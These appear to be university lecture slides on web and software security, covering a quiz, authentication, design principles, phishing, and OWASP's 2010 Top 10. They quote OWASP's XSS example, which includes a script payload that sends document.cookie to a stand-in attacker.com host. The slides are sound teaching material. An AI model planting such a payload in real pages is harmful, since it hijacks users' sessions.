nanoquiz
1. When you browse Evil Eve’s profile on a social networking site, your browser sends your private session data to Eve. You are the victim of an attack known as:

(a) unvalidated redirect  
(b) cross site scripting  
(c) cross site request forgery  

2. A web app encrypts credit card numbers, but has the database set up to automatically decrypt them, allowing injection attacks. To fix this, you should:

(a) only allow backend apps to decrypt credit card numbers  
(b) check the id of the logged in user before decrypting  
(c) remove the code from the card info page that displays the number  

3. SSL should be used to protect

(a) all access to a website  
(b) authentication-related traffic and resources on private pages  
(c) only authentication-related traffic
audio stories
Two stories of security failure by Mitchell & Webb, a British comedy duo

1. Identity Theft
2. Mobile Mate
some dichotomies
confidentiality vs integrity

control disclosure & modification of data

confidentiality  integrity

your turn: which properties matter for these data?
› password to access bank account
› link to Google doc for shared editing
› realtor’s open house invitation

not just read vs. write
› Bell LaPadula: prevent “write down”
authentication vs authorization
you’re who you claim to be vs. you’re allowed to do it

how is authentication achieved?

<table>
<thead>
<tr>
<th>example</th>
<th>generally...</th>
<th>or...</th>
</tr>
</thead>
<tbody>
<tr>
<td>door key</td>
<td>something you have</td>
<td>something you had once</td>
</tr>
<tr>
<td>password</td>
<td>something you know</td>
<td>something you once knew</td>
</tr>
<tr>
<td>iris scan</td>
<td>something you are</td>
<td>something you once were</td>
</tr>
</tbody>
</table>

‘or’ due to Simson Garfinkel; cited in Ross Anderson, Security Engineering
security vs convenience

- secure
- nuclear
- bank
- pandora
- doodle
- milk club

- cheap
- usable
prevention vs punishment

threat of punishment very effective!

examples
› defrauding the IRS
› bank insider attack
› physical breakin

requires auditing
› system keeps logs of all actions
› separate account for all users; no login as root
designing for security
developing for security

requirements = policy + threat model

example: job application app
  › policy: applicants can’t read recommendations
  › threats: users don’t have physical access to machine
  › a subtlety: authenticity of recommendations?

realization = system + human protocols
  › applicants get logins, recommenders get 1-shot links
  › interviewers don’t share passwords
## access control

<table>
<thead>
<tr>
<th>roles</th>
<th>application</th>
<th>letter</th>
<th>applicant profile</th>
<th>evaluation</th>
</tr>
</thead>
<tbody>
<tr>
<td>applicant</td>
<td>Read, Write own</td>
<td>-</td>
<td>Read, Write own</td>
<td>-</td>
</tr>
<tr>
<td>recommender</td>
<td>-</td>
<td>Read own</td>
<td>Read relevant</td>
<td>-</td>
</tr>
<tr>
<td>interviewer</td>
<td>Read</td>
<td>Read</td>
<td>Read</td>
<td>Read, Write</td>
</tr>
</tbody>
</table>
some well known principles

defense in depth
› redundant protections in case one fails
› eg, no data at all without login; protect all accesses

least privilege
› give components only just what they need
› eg, web app cannot delete anything from database

minimal trusted base
› security functions rely on small part of code
› eg, check access at point of lookup
some well known principles (ctd)

open security
› not “security through obscurity”
› design assuming your enemy knows it,
   but then feel free to keep it secret
› eg: most good crypto algorithms
social factors
We recently ran a password checker to evaluate passwords of all CSAIL users, and your password was readily broken. Please choose a new password ASAP...

my password:

sergeantpepper1967

8 character UNIX limit: truncated after this
ACTION REQUIRED TO RETAIN ACCESS TO APPLICATIONS VIA THE INTERNET SUCH AS EMAIL, WEB SITES AND REMOTE DIAL UP

Company provides the ability to access various applications via a Company ID and password. Your password expires every 75 days.

This reminder is being sent as it has been 60 days since your last password change.

If you do not change your password within the next 15 days, your password will expire and you will lose access to company applications.
and a helpful administrator

From: admin@company.com
Sent: Friday, January 09, 2011 4:43 PM
To: consultants
Subject: your passwords

I have updated all the passwords for you.

New Password: Company1
IDs affected: jackson, smith, doe
phishing

users can be fooled into doing all kinds of things...
from the CSAIL list, last year

-- I was expecting a package from DHL, to be delivered between 2pm and 5pm on Friday. It needed a signature.

-- At 1:58pm I received an email allegedly from DHL saying that they had tried to deliver my package, and failed. Of course, I had been home in the afternoon, and hadn't heard any doorbell or anything.

-- The email had an attachment, which contained a .exe file (!). 
-- An hour later, my package arrived.

Conclusion: DHL has been penetrated, and they're using the delivery schedule database to send out phishing emails...
pretexting

(not something you do before you send a text)

my favorite example

› Frank Abagnale, Catch Me If You Can
› movie clip:  http://www.youtube.com/watch?v=O0uylwOU024

Frank Abagnale could write a check on toilet paper, drawn on the Confederate States Treasury, sign it 'U.R. Hooked' and cash it at any bank in town, using a Hong Kong driver's license for identification

most common bugs
The OWASP Top 10 Web Application Security Risks for 2010 are:

- **A1**: Injection
- **A2**: Cross-Site Scripting (XSS)
- **A3**: Broken Authentication and Session Management
- **A4**: Insecure Direct Object References
- **A5**: Cross-Site Request Forgery (CSRF)
- **A6**: Security Misconfiguration
- **A7**: Insecure Cryptographic Storage
- **A8**: Failure to Restrict URL Access
- **A9**: Insufficient Transport Layer Protection
- **A10**: Unvalidated Redirects and Forwards

Please help us make sure every developer in the ENTIRE WORLD knows about the OWASP Top 10 by helping to spread the word!!!

from https://www.owasp.org

see also: http://cwe.mitre.org/top25
sample OWASP description

### Threat Agents
Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.

### Attack Vectors
Attacker sends text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.

### Security Weakness
**Exploitability**

**AVERAGE**

**Prevalence**

**VERY WIDESPREAD**

**Detectability**

**EASY**

**Security Flaw**

XSS is the most prevalent web application security flaw. XSS flaws occur when an application includes user-supplied data in a page sent to the browser without properly validating or escaping that content. There are three known types of XSS flaws:


Detection of most XSS flaws is fairly easy via testing or code analysis.

### Technical Impacts
Attackers can execute scripts in a victim's browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user's browser using malware, etc.

### Business Impacts
Consider the business value of the affected system and all the data it processes.

Also consider the business impact of public exposure of the vulnerability.

---

### Am I Vulnerable To XSS?
You need to ensure that all user-supplied input sent back to the browser is verified to be safe (via input validation), and that user input is properly escaped before it is included in the output page. Proper output encoding ensures that such input is always treated as text in the browser, rather than active content that might get executed.

Both static and dynamic tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser-side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, which makes automated detection difficult. Therefore, complete coverage requires a combination of manual code review and manual penetration testing, in addition to any automated approaches in use.

Web 2.0 technologies, such as AJAX, make XSS much more difficult to detect via automated tools.

### How Do I Prevent XSS?
Preventing XSS requires keeping untrusted data separate from active browser content.

1. The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Developers need to include this escaping in their applications unless their UI framework does this for them. See the [OWASP XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_Prevention_Cheat_Sheet) for more information about data escaping techniques.

2. Positive or "whitelist" input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications must accept special characters. Such validation should encode any encoded input, and then validate the length, characters, and format on that data before accepting the input.

3. Consider employing Mozilla's new [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/Security/Content_Security_Policy) that is coming out in Firefox 4 to defend against XSS.

---

### Example Scenarios
The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

```html
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + ");
```

The attacker modifies the 'CC' parameter in their browser to:

```html
<script>document.location = 'http://www.attacker.com/cgi-bin/cookie.cgi?foo=document.cookie'; </script>
```

This causes the victim's session ID to be sent to the attacker's website, allowing the attacker to hijack the user's current session.

Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See [A5](https://owasp.org/www-community/v10/10-Cross-Site-Request-Forgery-CSRF) for info on CSRF.

---

### References

**OWASP**

- OWASP XSS Prevention Cheat Sheet
- OWASP Cross-Site Scripting Article
- ESAPI Encoder API
- [ASVS: Input Validation Requirements (V5)](https://owasp.org/www-community/v10/10-Input-Validation)
- [Testing Guide: 1st 3 Chapters on Data Validation Testing](https://owasp.org/www-community/v10/10-Data-Validation)

**External**

- [CWE Entry 79 on Cross-Site Scripting](https://cwe.mitre.org/data/definitions/79.html)
- [RSnake’s XSS Attack Cheat Sheet](https://www.rsnake.com/xss)
- [Firefox 4’s Anti-XSS Content Security Policy Mechanism](https://hackernews.com/fx4-xss-policy)
NIST’s national vulnerability DB

10 vulnerabilities/day!

http://web.nvd.nist.gov/view/vuln/search-results?query=csrf&search_type=last3months&cves=on

a vulnerability reported in the last two weeks
trends from OSVDB

2003: XSS vs buf
2008-10: injection
XSRF: sleeping giant
remote files: PHP